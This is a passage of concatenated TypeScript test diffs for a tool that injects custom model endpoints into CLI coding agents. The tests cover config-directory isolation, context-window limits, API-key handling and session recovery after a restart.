expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['a', 'b']);
});
});
describe('customModelHostsWriteErrorResponse', () => {
it('a refused write is 409 CONFLICT with the fix', () => {
const response = customModelHostsWriteErrorResponse(
new CustomModelHostsWriteRefusedError('the file is not a valid JSON list')
);
expect(response).toEqual({
success: false,
error: 'the file is not a valid JSON list',
errorCode: 'CONFLICT',
});
});
it('any other failure stays OPERATION_FAILED', () => {
expect(customModelHostsWriteErrorResponse(new Error('EACCES'))).toMatchObject({
success: false,
errorCode: 'OPERATION_FAILED',
error: 'EACCES',
});
});
});
describe('every writer goes through the serialized writer', () => {
const root = fileURLToPath(new URL('../', import.meta.url));
function sourceFiles(folder: string, out: string[] = []): string[] {
for (const name of readdirSync(folder)) {
const path = join(folder, name);
if (statSync(path).isDirectory()) {
if (name !== 'public' && name !== 'node_modules') sourceFiles(path, out);
} else if (name.endsWith('.ts')) {
out.push(path);
}
}
return out;
}
/** The file without its comment lines: a comment may name the function it explains. */
const code = (path: string): string =>
readFileSync(path, 'utf8')
.split('\n')
.filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line))
.join('\n');
it('no module of src/ calls writeCustomModelHosts(): the store itself only defines it', () => {
const callers = sourceFiles(join(root, 'src'))
.filter((path) => /\bwriteCustomModelHosts\s*\(/.test(code(path)))
.map((path) => path.slice(root.length));
expect(callers).toEqual(['src/custom-model-hosts.ts']);
});
it('the endpoint routes and the sweep name the writer, five times', () => {
const routes = code(join(root, 'src/web/routes/custom-model-routes.ts'));
// create, update, delete, discover-models and the re-discovery sweep.
expect(routes.match(/await mutateCustomModelHosts</g)).toHaveLength(5);
expect(routes).not.toContain('writeCustomModelHosts');
});
});
+89 -9
View File
@@ -13,10 +13,20 @@
*
* Port: N/A (no server; filesystem-only, under a temp CODEMAN data dir from test/setup.ts).
*/
import { existsSync, lstatSync, mkdirSync, readFileSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
import { homedir } from 'node:os';
import {
existsSync,
lstatSync,
mkdirSync,
readFileSync,
readdirSync,
readlinkSync,
rmSync,
statSync,
writeFileSync,
} from 'node:fs';
import { homedir, tmpdir } from 'node:os';
import { join } from 'node:path';
import { afterEach, describe, expect, it } from 'vitest';
import { afterEach, describe, expect, it, vi } from 'vitest';
import { getCli } from '../src/config/cli-registry/index.js';
import { applyCustomModelInjection, customModelConfigDir } from '../src/custom-model-injection-apply.js';
import type { CustomModelEndpoint } from '../src/custom-model-injection.js';
@@ -53,9 +63,12 @@ describe('applyCustomModelInjection: context length', () => {
expect(applied?.envOverrides.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBeUndefined();
});
it('deepseek: has no contextLengthVar declared, so a passed-in length is a no-op', () => {
const applied = applyCustomModelInjection(entryOrThrow('deepseek'), endpoint, 'qwen3', 'sess-ctx-3', 16384);
expect(Object.keys(applied?.envOverrides ?? {}).sort()).toEqual(['DEEPSEEK_API_KEY', 'DEEPSEEK_BASE_URL']);
it('deepseek: passes the known context through its isolated model catalogue', () => {
const sessionId = 'sess-deepseek-context';
sessionsToClean.push(sessionId);
const applied = applyCustomModelInjection(entryOrThrow('deepseek'), endpoint, 'qwen3', sessionId, 32768);
expect(Object.keys(applied?.envOverrides ?? {}).sort()).toEqual(['CODEMAN_CUSTOM_MODEL_API_KEY', 'DSH_HOME']);
expect(readFileSync(join(applied!.configDir!, 'cordis.patch.yml'), 'utf8')).toContain('"contextWindow": 32768');
});
});
@@ -87,6 +100,72 @@ describe('applyCustomModelInjection: CLAUDE_CONFIG_DIR isolation', () => {
}
});
it('claude: creates the missing projects folder under the temp HOME, never a real one', () => {
// test/setup.ts points HOME at a temp dir and drops CLAUDE_CONFIG_DIR. Without both, the
// apply below would create `projects` in the real `~/.claude` of whoever runs the suite.
expect(homedir().startsWith(tmpdir())).toBe(true);
expect(process.env.CLAUDE_CONFIG_DIR).toBeUndefined();
const sessionId = 'sess-cfgdir-default';
sessionsToClean.push(sessionId);
const realProjects = join(homedir(), '.claude', 'projects');
rmSync(realProjects, { recursive: true, force: true });
const applied = applyCustomModelInjection(entryOrThrow('claude'), endpoint, 'qwen3', sessionId);
expect(readlinkSync(join(applied!.configDir!, 'projects'))).toBe(realProjects);
expect(statSync(realProjects).isDirectory()).toBe(true);
});
it('claude: a relative CLAUDE_CONFIG_DIR of the server gets no link, nothing lands under its cwd', () => {
const sessionId = 'sess-cfgdir-relative';
sessionsToClean.push(sessionId);
vi.stubEnv('CLAUDE_CONFIG_DIR', 'relative-server-claude');
try {
const applied = applyCustomModelInjection(entryOrThrow('claude'), endpoint, 'qwen3', sessionId);
expect(existsSync(join(applied!.configDir!, 'projects'))).toBe(false);
expect(existsSync('relative-server-claude')).toBe(false);
} finally {
vi.unstubAllEnvs();
}
});
it("claude: links projects from the session's own CLAUDE_CONFIG_DIR, creating it for a new account", () => {
const sessionId = 'sess-cfgdir-own';
sessionsToClean.push(sessionId);
const ownDir = join(homedir(), 'client-account');
const applied = applyCustomModelInjection(
entryOrThrow('claude'),
endpoint,
'qwen3',
sessionId,
undefined,
undefined,
(envVar) => (envVar === 'CLAUDE_CONFIG_DIR' ? ownDir : undefined)
);
expect(readlinkSync(join(applied!.configDir!, 'projects'))).toBe(join(ownDir, 'projects'));
// A dangling directory link is not inert: the CLI's mkdir through it fails ENOENT.
expect(statSync(join(ownDir, 'projects')).isDirectory()).toBe(true);
rmSync(ownDir, { recursive: true, force: true });
});
it('claude: links projects from the real config dir when the own value is relative or the isolated dir', () => {
for (const own of ['relative/claude', customModelConfigDir('sess-cfgdir-self')]) {
sessionsToClean.push('sess-cfgdir-self');
const applied = applyCustomModelInjection(
entryOrThrow('claude'),
endpoint,
'qwen3',
'sess-cfgdir-self',
undefined,
undefined,
() => own
);
expect(readlinkSync(join(applied!.configDir!, 'projects'))).toBe(join(homedir(), '.claude', 'projects'));
rmSync(applied!.configDir!, { recursive: true, force: true });
}
});
it('claude: re-applying to the same session is idempotent (boot-recovery re-apply)', () => {
const sessionId = 'sess-cfgdir-3';
sessionsToClean.push(sessionId);
@@ -103,11 +182,12 @@ describe('applyCustomModelInjection: CLAUDE_CONFIG_DIR isolation', () => {
expect(applied?.envOverrides.HOME).toBe(customModelConfigDir(sessionId));
});
it('deepseek: no configDirVar declared, so no config dir is created at all', () => {
it('deepseek: creates an isolated profile patch', () => {
const sessionId = 'sess-cfgdir-deepseek';
sessionsToClean.push(sessionId);
const applied = applyCustomModelInjection(entryOrThrow('deepseek'), endpoint, 'qwen3', sessionId);
expect(applied?.configDir).toBeUndefined();
expect(existsSync(customModelConfigDir(sessionId))).toBe(false);
expect(applied?.configDir).toBe(customModelConfigDir(sessionId));
expect(existsSync(join(applied!.configDir!, 'cordis.patch.yml'))).toBe(true);
});
});
+10 -10
View File
@@ -188,18 +188,18 @@ describe('custom-model-injection contract (mock server)', () => {
expect(mock.requests[0].headers.authorization).toBe('Bearer contract-test-key');
});
it('deepseek: DEEPSEEK_BASE_URL already carries the /v1 suffix dsh itself never adds, reaching the mock at the real path dsh requests', async () => {
// Confirmed by reading dsh's own bundled source: it fetches
// `${DEEPSEEK_BASE_URL}/chat/completions` verbatim, no /v1 insertion of its own — so
// this call (unlike gemini's above) passes DEEPSEEK_BASE_URL to callOpenAiCompat
// UNMODIFIED, exactly mirroring what the real harness does, rather than the test
// helping it along.
it('deepseek: the session patch carries the /v1 base URL and exact model, reaching the mock at the real path', async () => {
// dsh fetches `${baseURL}/chat/completions` verbatim, so the patch's baseURL already
// carries /v1 and is passed to callOpenAiCompat unmodified.
const injection = buildCustomModelInjection(entryOrThrow('deepseek'), endpointFor(mock), 'qwen3');
if (injection.kind !== 'env') throw new Error('unreachable');
expect(Object.keys(injection.envOverrides).sort()).toEqual(['DEEPSEEK_API_KEY', 'DEEPSEEK_BASE_URL']);
expect(injection.envOverrides.DEEPSEEK_BASE_URL).toBe(`${mock.baseUrl}/v1`);
if (injection.kind !== 'configDir') throw new Error('unreachable');
expect(injection.dirEnvVar).toBe('DSH_HOME');
expect(Object.keys(injection.extraEnv ?? {})).toEqual(['CODEMAN_CUSTOM_MODEL_API_KEY']);
const provider = JSON.parse(injection.files[0].content)[0].config.providers['codeman-custom'];
expect(provider.baseURL).toBe(`${mock.baseUrl}/v1`);
expect(provider.models[0].id).toBe('qwen3');
await callOpenAiCompat(injection.envOverrides.DEEPSEEK_BASE_URL, injection.envOverrides.DEEPSEEK_API_KEY, 'qwen3');
await callOpenAiCompat(provider.baseURL, injection.extraEnv!.CODEMAN_CUSTOM_MODEL_API_KEY, 'qwen3');
expect(mock.requests[0].path).toBe('/v1/chat/completions');
expect(mock.requests[0].headers.authorization).toBe('Bearer contract-test-key');
+90 -17
View File
@@ -8,6 +8,7 @@
*/
import { describe, it, expect } from 'vitest';
import { parse as parseToml } from 'smol-toml';
import { getCli } from '../src/config/cli-registry/index.js';
import {
buildCustomModelInjection,
@@ -112,6 +113,31 @@ describe('buildCustomModelInjection', () => {
expect(parsed.provider.custom.models.qwen3).toEqual({});
});
it('opencode: threads a discovered context length into the model limit as the full window (issue #749)', () => {
const result = buildCustomModelInjection(entryOrThrow('opencode'), endpoint, 'qwen3', 16384);
if (result.kind !== 'env') throw new Error('unreachable');
const parsed = JSON.parse(result.envOverrides.OPENCODE_CONFIG_CONTENT);
// `limit.context` IS the full window to opencode (it reserves for the reply itself),
// so the discovered total passes through; `output` only caps the reply at a quarter.
expect(parsed.provider.custom.models.qwen3).toEqual({ limit: { context: 16384, output: 4096 } });
});
it('opencode: caps the response headroom reservation at 8192 for big windows', () => {
const result = buildCustomModelInjection(entryOrThrow('opencode'), endpoint, 'qwen3', 262144);
if (result.kind !== 'env') throw new Error('unreachable');
const parsed = JSON.parse(result.envOverrides.OPENCODE_CONFIG_CONTENT);
expect(parsed.provider.custom.models.qwen3).toEqual({ limit: { context: 262144, output: 8192 } });
});
it('opencode: never invents a limit for an unknown or non-finite context length (issue #749 regression)', () => {
for (const contextLength of [undefined, NaN]) {
const result = buildCustomModelInjection(entryOrThrow('opencode'), endpoint, 'qwen3', contextLength);
if (result.kind !== 'env') throw new Error('unreachable');
const parsed = JSON.parse(result.envOverrides.OPENCODE_CONFIG_CONTENT);
expect(parsed.provider.custom.models.qwen3).toEqual({});
}
});
it('codex: configDir writes an isolated config.toml with model/base_url, and the key rides as extraEnv (never a literal TOML field)', () => {
const result = buildCustomModelInjection(entryOrThrow('codex'), endpoint, 'qwen3');
expect(result.kind).toBe('configDir');
@@ -133,6 +159,30 @@ describe('buildCustomModelInjection', () => {
expect(result.files[0].content).toContain('model = "weird\\"model"');
});
it('codex: writes the discovered window as TOP-LEVEL model_context_window with a 75% compact limit (issue #750)', () => {
const result = buildCustomModelInjection(entryOrThrow('codex'), endpoint, 'qwen3', 16384);
if (result.kind !== 'configDir') throw new Error('unreachable');
const doc = parseToml(result.files[0].content) as Record<string, unknown>;
// Top-level is the shape codex reads: parked under [model_providers.custom] (its
// provider table) the same keys would be silently ignored by codex itself.
expect(doc.model_context_window).toBe(16384);
expect(doc.model_auto_compact_token_limit).toBe(12288); // 75% of the window, floored
const provider = (doc.model_providers as Record<string, Record<string, unknown>>).custom;
expect(provider.model_context_window).toBeUndefined();
expect(provider.model_auto_compact_token_limit).toBeUndefined();
});
it('codex: writes neither context line for an unknown, non-finite or zero context length', () => {
for (const contextLength of [undefined, NaN, 0]) {
const result = buildCustomModelInjection(entryOrThrow('codex'), endpoint, 'qwen3', contextLength);
if (result.kind !== 'configDir') throw new Error('unreachable');
const doc = parseToml(result.files[0].content) as Record<string, unknown>;
expect(doc.model_context_window, String(contextLength)).toBeUndefined();
expect(doc.model_auto_compact_token_limit, String(contextLength)).toBeUndefined();
expect(doc.model).toBe('qwen3'); // the rest of the file is still written
}
});
it('pi: configDir writes .pi/agent/models.json, redirected via HOME (verified live — PI_CONFIG_DIR does nothing for pi)', () => {
const result = buildCustomModelInjection(entryOrThrow('pi'), endpoint, 'qwen3');
if (result.kind !== 'configDir') throw new Error('unreachable');
@@ -144,6 +194,24 @@ describe('buildCustomModelInjection', () => {
expect(parsed.providers.custom.models).toEqual([{ id: 'qwen3' }]); // array, NOT keyed by id
});
it('pi: the model entry carries the endpoint window and a reply share of it, or pi takes the model for a 128k one', () => {
const models = (contextLength?: number) => {
const result = buildCustomModelInjection(entryOrThrow('pi'), endpoint, 'qwen3.6:35b-a3b', contextLength);
if (result.kind !== 'configDir') throw new Error('unreachable');
return JSON.parse(result.files[0].content).providers.custom.models;
};
// The full window, and 8192 reply tokens at most (measured on pi 1.5.2: the request then
// carries max_tokens 8192 instead of its own 16384).
expect(models(65536)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 65536, maxTokens: 8192 }]);
expect(models(131072.9)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 131072, maxTokens: 8192 }]);
// A small window keeps three quarters for the prompt.
expect(models(16384)).toEqual([{ id: 'qwen3.6:35b-a3b', contextWindow: 16384, maxTokens: 4096 }]);
// Unknown stays unknown: no limit is invented.
for (const contextLength of [undefined, NaN, 0, -1, Infinity]) {
expect(models(contextLength), String(contextLength)).toEqual([{ id: 'qwen3.6:35b-a3b' }]);
}
});
it('omp: configDir writes .omp/agent/models.yml, redirected via HOME (verified live end-to-end)', () => {
const result = buildCustomModelInjection(entryOrThrow('omp'), endpoint, 'qwen3');
if (result.kind !== 'configDir') throw new Error('unreachable');
@@ -179,29 +247,32 @@ describe('buildCustomModelInjection', () => {
expect(result.extraEnv).toEqual({ XAI_API_KEY: 'my-key' });
});
it('deepseek: env kind sets base URL (with a /v1 suffix appended) and key, no model var', () => {
// appendV1Suffix is REQUIRED here, not cosmetic: confirmed by reading dsh's own
// bundled source (@deepseek-ai/dsh-llm-deepseek) that it builds the request URL as
// `${DEEPSEEK_BASE_URL}/chat/completions` with no "/v1" of its own, while
// llama-swap/llama.cpp only serves "/v1/chat/completions" — without this, every
// request 404s (confirmed live; this is the fix for the originally-reported
// "dsh: HTTP_404: DeepSeek API error (HTTP 404)").
it('deepseek: isolates the selected model route and passes its key by reference', () => {
const result = buildCustomModelInjection(entryOrThrow('deepseek'), endpoint, 'qwen3');
if (result.kind !== 'env') throw new Error('unreachable');
expect(result.envOverrides).toEqual({
DEEPSEEK_BASE_URL: 'http://192.168.1.50:8080/v1',
DEEPSEEK_API_KEY: 'my-key',
});
if (result.kind !== 'configDir') throw new Error('Expected isolated DeepSeek config');
expect(result.dirEnvVar).toBe('DSH_HOME');
expect(result.extraEnv).toEqual({ CODEMAN_CUSTOM_MODEL_API_KEY: 'my-key' });
expect(result.files[0].content).not.toContain('my-key');
const patch = JSON.parse(result.files[0].content);
// The patch references the DEDICATED var by name, never dsh's own DEEPSEEK_API_KEY:
// dsh's llm-deepseek/web-search rows read that too and would leak this key to
// api.deepseek.com on an in-session /model switch back to the official route.
expect(
patch.find((row: { id: string }) => row.id === 'llm-pi-ai').config.providers['codeman-custom'].apiKeyEnv
).toBe('CODEMAN_CUSTOM_MODEL_API_KEY');
expect(result.files[0].content).not.toContain('DEEPSEEK_API_KEY');
expect(patch.find((row: { id: string }) => row.id === 'dsh-tui').config.model).toBe('qwen3');
});
it('deepseek: appending the /v1 suffix is idempotent against a baseUrl that already ends in /v1', () => {
it('deepseek: preserves an existing version suffix', () => {
const result = buildCustomModelInjection(
entryOrThrow('deepseek'),
{ ...endpoint, baseUrl: 'http://192.168.1.50:8080/v1' },
{ ...endpoint, baseUrl: endpoint.baseUrl + '/v1' },
'qwen3'
);
if (result.kind !== 'env') throw new Error('unreachable');
expect(result.envOverrides.DEEPSEEK_BASE_URL).toBe('http://192.168.1.50:8080/v1');
if (result.kind !== 'configDir') throw new Error('Expected isolated DeepSeek config');
expect(result.files[0].content).toContain('http://192.168.1.50:8080/v1');
expect(result.files[0].content).not.toContain('/v1/v1');
});
it('antigravity: unsupported', () => {
@@ -232,7 +303,9 @@ describe('launchModel (the model launch param that selects the injected provider
});
it('CLIs whose config selects the model on its own declare none', () => {
for (const id of ['claude', 'opencode', 'codex', 'gemini', 'deepseek']) {
// codex now declares launchModel (selected-model launch override) and is covered by
// its own restart coverage, not here.
for (const id of ['claude', 'opencode', 'gemini', 'deepseek']) {
const result = buildCustomModelInjection(entryOrThrow(id), endpoint, 'qwen3');
if (result.kind === 'unsupported') throw new Error('unreachable');
expect(result.launchModel, id).toBeUndefined();
+4 -4
View File
@@ -10,7 +10,7 @@
* reinitializes on a restart.
*
* Uses the same JSDOM + `runScripts: "dangerously"` approach as
* test/custom-model-run-menu-ui.test.ts, extended with the DOM elements runCodex() (the
* test/custom-model-run-menu-ui.test.ts, extended with the DOM elements the codex launch (the
* CLI this was reported against) reads.
*
* Port: none.
@@ -221,7 +221,7 @@ describe('_quickStartWithCustomModelConfirm', () => {
});
});
describe('runCodex(): one-shot custom-model launch (the CLI this was reported against)', () => {
describe('the codex launch: one-shot custom-model launch (the CLI this was reported against)', () => {
it('folds _pendingCustomModelForLaunch into the quick-start body as customModel', async () => {
const { win, app } = bootApp();
(win as unknown as { fetch: typeof fetch }).fetch = (async (url: string, opts?: any) => {
@@ -232,7 +232,7 @@ describe('runCodex(): one-shot custom-model launch (the CLI this was reported ag
}) as unknown as typeof fetch;
app._pendingCustomModelForLaunch = { endpointId: 'llama-box', modelId: 'qwen3' };
await app.runCodex();
await app._runCliMode('codex');
expect(app._lastReportedError).toBeUndefined();
});
@@ -245,7 +245,7 @@ describe('runCodex(): one-shot custom-model launch (the CLI this was reported ag
return { json: async () => ({ success: true, data: { sessionId: 's1' } }) };
}) as unknown as typeof fetch;
await app.runCodex();
await app._runCliMode('codex');
expect(app._lastReportedError).toBeUndefined();
});
});
@@ -0,0 +1,91 @@
/**
* @fileoverview Boot recovery rebuilds a saved custom-model selection through the SAME
* context-length resolution the routes use: the model's discovered figure, falling back to
* the endpoint's `defaultContextLength` (`resolveCustomModelContextLength`). Before the
* shared helper, `_rebuildCustomModelEnv` read `modelContextLengths` alone, so a session
* on a model that only the endpoint default covers came back from a Codeman restart with
* `CLAUDE_CODE_MAX_CONTEXT_TOKENS` (or a config file's context figure) silently gone,
* re-arming exactly the window overflow the var exists to prevent.
*
* `_rebuildCustomModelEnv` reads no `this` state (it re-derives everything from the endpoint
* store and the Session it is handed), so it is driven straight off the prototype with an
* empty receiver: `restoreMuxSessions()` itself cannot be reached under vitest, the same
* constraint recorded in test/session-model-recovery.test.ts.
*/
import { afterEach, describe, expect, it } from 'vitest';
import { getDataDir } from '../src/config/instance.js';
import { writeCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
import { customModelConfigDir, removeConfigDir, type AppliedCustomModel } from '../src/custom-model-injection-apply.js';
import { Session } from '../src/session.js';
import { WebServer } from '../src/web/server.js';
import type { CustomModelBookkeeping } from '../src/types/session.js';
type RebuildFn = (session: Session, saved: CustomModelBookkeeping) => Promise<AppliedCustomModel | undefined>;
/** The real method, with an empty receiver, see the file header for why that is sound. */
function rebuildCustomModelEnv(session: Session, saved: CustomModelBookkeeping) {
const fn = (WebServer.prototype as unknown as { _rebuildCustomModelEnv: RebuildFn })._rebuildCustomModelEnv;
expect(typeof fn, '_rebuildCustomModelEnv vanished from WebServer.prototype').toBe('function');
return fn.call({}, session, saved);
}
function endpoint(overrides: Partial<CustomModelHost> = {}): CustomModelHost {
return {
id: 'ep',
label: 'Ep',
baseUrl: 'http://localhost:8080',
apiKey: 'recovery-probe-key',
models: ['qwen3'],
...overrides,
};
}
describe('_rebuildCustomModelEnv: context-length fallback on boot recovery', () => {
const configs: string[] = [];
afterEach(() => {
for (const id of configs.splice(0)) removeConfigDir(customModelConfigDir(id));
});
it('falls back to the endpoint defaultContextLength when discovery recorded no per-model figure', async () => {
await writeCustomModelHosts(getDataDir(), [endpoint({ defaultContextLength: 32768 })]);
const session = new Session({ workingDir: '/tmp', mode: 'claude' });
configs.push(session.id);
const env = await rebuildCustomModelEnv(session, { endpointId: 'ep', modelId: 'qwen3', envKeys: [] });
expect(env?.envOverrides.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBe('32768');
});
it('a discovered per-model figure still wins over the endpoint default', async () => {
await writeCustomModelHosts(getDataDir(), [
endpoint({ modelContextLengths: { qwen3: 131072 }, defaultContextLength: 32768 }),
]);
const session = new Session({ workingDir: '/tmp', mode: 'claude' });
configs.push(session.id);
const env = await rebuildCustomModelEnv(session, { endpointId: 'ep', modelId: 'qwen3', envKeys: [] });
expect(env?.envOverrides.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBe('131072');
});
it('states nothing rather than guessing when neither source knows a window', async () => {
await writeCustomModelHosts(getDataDir(), [endpoint()]);
const session = new Session({ workingDir: '/tmp', mode: 'claude' });
configs.push(session.id);
const env = await rebuildCustomModelEnv(session, { endpointId: 'ep', modelId: 'qwen3', envKeys: [] });
expect(env?.envOverrides.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBeUndefined();
});
it('drops the selection to undefined (kept for clearing) when the endpoint no longer exists', async () => {
await writeCustomModelHosts(getDataDir(), []);
const session = new Session({ workingDir: '/tmp', mode: 'claude' });
configs.push(session.id);
await expect(rebuildCustomModelEnv(session, { endpointId: 'gone', modelId: 'qwen3', envKeys: [] })).resolves.toBe(
undefined
);
});
});
+217
View File
@@ -0,0 +1,217 @@
/**
* @fileoverview Boot recovery re-derives a saved custom-model selection through
* `_rebuildCustomModelEnv` and rebuilds the BOOKKEEPING from what the CURRENT recipe
* applied, not from the saved record. A selection persisted while deepseek still used
* the old env redirect comes back env-shaped (envKeys `DEEPSEEK_BASE_URL`/
* `DEEPSEEK_API_KEY`, no `configDir`) although the recipe now writes a per-session patch
* home: restoring the saved record unchanged left `DSH_HOME` on a generated config dir
* that clearing could never delete.
*
* Real-home resolution reads the record's `ownEnv` on this path, never the session's
* overrides: the first apply's links are still in the generated directory, and an entry
* that is missing links from the own home, or with none from the server's `DSH_HOME` or
* the recipe's `realHomeFallback` (~/.dsh), see `_rebuildCustomModelEnv`'s comment. The
* own home itself comes back on clear from `ownEnv`, the last block here.
*
* `_restoreCustomModel` reads no `this` state beyond the rebuild helper (it re-derives
* everything from the endpoint store and the Session it is handed), so it is driven off
* the prototype with a minimal receiver: `restoreMuxSessions()` itself cannot be
* reached under vitest, the same constraint recorded in test/session-model-recovery.test.ts.
*/
import { existsSync, mkdirSync, readlinkSync, rmSync, writeFileSync } from 'node:fs';
import { homedir } from 'node:os';
import { join } from 'node:path';
import { afterEach, describe, expect, it, vi } from 'vitest';
import { getDataDir } from '../src/config/instance.js';
import { writeCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
import { customModelConfigDir, removeConfigDir } from '../src/custom-model-injection-apply.js';
import { Session } from '../src/session.js';
import { WebServer } from '../src/web/server.js';
import type { CustomModelBookkeeping } from '../src/types/session.js';
/** The real pair, on a receiver that only carries the rebuild helper, see the header. */
async function restoreCustomModel(session: Session, saved: CustomModelBookkeeping): Promise<void> {
const proto = WebServer.prototype as unknown as {
_rebuildCustomModelEnv: (session: Session, saved: CustomModelBookkeeping) => Promise<unknown>;
_restoreCustomModel: (session: Session, saved: CustomModelBookkeeping) => Promise<void>;
};
expect(typeof proto._restoreCustomModel, '_restoreCustomModel vanished from WebServer.prototype').toBe('function');
await proto._restoreCustomModel.call({ _rebuildCustomModelEnv: proto._rebuildCustomModelEnv }, session, saved);
}
function endpoint(): CustomModelHost {
return {
id: 'ep',
label: 'Ep',
baseUrl: 'http://localhost:8080',
apiKey: 'recovery-probe-key',
models: ['qwen3'],
};
}
describe('_restoreCustomModel: bookkeeping rebuilt from the current recipe', () => {
const configs: string[] = [];
afterEach(() => {
for (const id of configs.splice(0)) removeConfigDir(customModelConfigDir(id));
vi.unstubAllEnvs();
});
it('carries the configDir and env-key union for a selection saved by the old env recipe', async () => {
// Saved exactly as 1.31.0-1.47.0 persisted a deepseek selection: the env recipe's two
// keys, no configDir. The rebuilt record must carry the per-session config dir the
// CURRENT recipe wrote (so clearing deletes it) while KEEPING the saved keys, which
// the tmux session may still carry `setenv`s for (the union is what a clear unsets).
const dshHome = join(homedir(), 'codeman-recovery-dsh-home');
mkdirSync(join(dshHome, 'profiles'), { recursive: true });
vi.stubEnv('DSH_HOME', dshHome);
await writeCustomModelHosts(getDataDir(), [endpoint()]);
const session = new Session({ workingDir: '/tmp', mode: 'deepseek' });
configs.push(session.id);
await restoreCustomModel(session, {
endpointId: 'ep',
modelId: 'qwen3',
label: 'Ep',
envKeys: ['DEEPSEEK_BASE_URL', 'DEEPSEEK_API_KEY'],
});
const persisted = session.getCustomModelForPersist();
expect(persisted?.configDir).toBe(customModelConfigDir(session.id));
expect(persisted?.launchModel).toBeUndefined();
expect(new Set(persisted?.envKeys)).toEqual(
new Set(['DEEPSEEK_BASE_URL', 'DEEPSEEK_API_KEY', 'DSH_HOME', 'CODEMAN_CUSTOM_MODEL_API_KEY'])
);
rmSync(dshHome, { recursive: true, force: true });
});
it('restores an env-shaped record unchanged when the endpoint is gone, so a clear still works', async () => {
await writeCustomModelHosts(getDataDir(), []);
const session = new Session({ workingDir: '/tmp', mode: 'deepseek' });
const saved: CustomModelBookkeeping = {
endpointId: 'gone',
modelId: 'qwen3',
label: 'Gone',
envKeys: ['DEEPSEEK_BASE_URL', 'DEEPSEEK_API_KEY'],
};
await restoreCustomModel(session, saved);
expect(session.getCustomModelForPersist()).toEqual(saved);
});
describe("a session's own value across a restart", () => {
const OWN_HOME = '/home/u/my-dsh';
const ORIGINAL_MULTIUSER = process.env.CODEMAN_MULTIUSER;
afterEach(() => {
if (ORIGINAL_MULTIUSER === undefined) delete process.env.CODEMAN_MULTIUSER;
else process.env.CODEMAN_MULTIUSER = ORIGINAL_MULTIUSER;
});
/** What a previous run left in state.json for a deepseek session on its own home. */
function savedByPreviousRun(): CustomModelBookkeeping {
const previous = new Session({ workingDir: '/tmp', mode: 'deepseek', envOverrides: { DSH_HOME: OWN_HOME } });
configs.push(previous.id);
previous.setCustomModel(
{
endpointId: 'ep',
modelId: 'qwen3',
envKeys: ['DSH_HOME', 'CODEMAN_CUSTOM_MODEL_API_KEY'],
configDir: customModelConfigDir(previous.id),
homeEnvVar: 'DSH_HOME',
},
{ DSH_HOME: customModelConfigDir(previous.id), CODEMAN_CUSTOM_MODEL_API_KEY: 'k' }
);
return JSON.parse(JSON.stringify(previous.getCustomModelForPersist())) as CustomModelBookkeeping;
}
it('gets DSH_HOME back from state.json, which is the only copy left', async () => {
await writeCustomModelHosts(getDataDir(), [endpoint()]);
const session = new Session({ workingDir: '/tmp', mode: 'deepseek' });
configs.push(session.id);
await restoreCustomModel(session, savedByPreviousRun());
expect(session.envOverrideValue('DSH_HOME')).toBe(customModelConfigDir(session.id));
session.setCustomModel(undefined);
expect(session.envOverrideValue('DSH_HOME')).toBe(OWN_HOME);
});
it('never fills an entry the own home lacks from the server home', async () => {
// The first apply skipped `settings.yaml`, since the own home has none. Recovery finds
// that gap and, with no lookup, used to fill it with the server's settings.
const serverHome = join(homedir(), 'codeman-recovery-server-dsh');
const ownHome = join(homedir(), 'codeman-recovery-own-dsh');
mkdirSync(join(ownHome, 'profiles'), { recursive: true });
mkdirSync(serverHome, { recursive: true });
writeFileSync(join(serverHome, 'settings.yaml'), 'server: true\n');
vi.stubEnv('DSH_HOME', serverHome);
await writeCustomModelHosts(getDataDir(), [endpoint()]);
const session = new Session({ workingDir: '/tmp', mode: 'deepseek' });
configs.push(session.id);
await restoreCustomModel(session, {
endpointId: 'ep',
modelId: 'qwen3',
envKeys: ['DSH_HOME', 'CODEMAN_CUSTOM_MODEL_API_KEY'],
homeEnvVar: 'DSH_HOME',
ownEnv: { DSH_HOME: ownHome },
});
const configDir = customModelConfigDir(session.id);
expect(readlinkSync(join(configDir, 'profiles'))).toBe(join(ownHome, 'profiles'));
expect(existsSync(join(configDir, 'settings.yaml'))).toBe(false);
rmSync(ownHome, { recursive: true, force: true });
rmSync(serverHome, { recursive: true, force: true });
});
it('keeps it when the endpoint is gone', async () => {
await writeCustomModelHosts(getDataDir(), []);
const session = new Session({ workingDir: '/tmp', mode: 'deepseek' });
await restoreCustomModel(session, savedByPreviousRun());
session.setCustomModel(undefined);
expect(session.envOverrideValue('DSH_HOME')).toBe(OWN_HOME);
});
it('never reads what the previous run injected as the session own value', async () => {
// A record from before `ownEnv` existed. `__envOverrides` holds the isolated
// CLAUDE_CONFIG_DIR and the injected limit, which must go on clear, or the session
// stays pinned to a directory the clear just deleted.
await writeCustomModelHosts(getDataDir(), [endpoint()]);
const session = new Session({
workingDir: '/tmp',
mode: 'claude',
envOverrides: { CLAUDE_CONFIG_DIR: '/isolated/old', CLAUDE_CODE_MAX_CONTEXT_TOKENS: '32768' },
});
configs.push(session.id);
await restoreCustomModel(session, {
endpointId: 'ep',
modelId: 'qwen3',
envKeys: ['CLAUDE_CONFIG_DIR', 'CLAUDE_CODE_MAX_CONTEXT_TOKENS'],
});
session.setCustomModel(undefined);
expect(session.envOverrideValue('CLAUDE_CONFIG_DIR')).toBeUndefined();
expect(session.envOverrideValue('CLAUDE_CODE_MAX_CONTEXT_TOKENS')).toBeUndefined();
});
it('does not give a revoked owner their DSH_HOME back from disk', async () => {
// DSH_HOME is a privileged key: the reboot-restore clamp strips `__envOverrides`, and
// this record must not be a way around it.
await writeCustomModelHosts(getDataDir(), [endpoint()]);
const saved = savedByPreviousRun();
process.env.CODEMAN_MULTIUSER = '1';
const session = new Session({ workingDir: '/tmp', mode: 'deepseek', owner: 'nobody' });
configs.push(session.id);
await restoreCustomModel(session, saved);
session.setCustomModel(undefined);
expect(session.envOverrideValue('DSH_HOME')).toBeUndefined();
});
});
});
+460 -8
View File
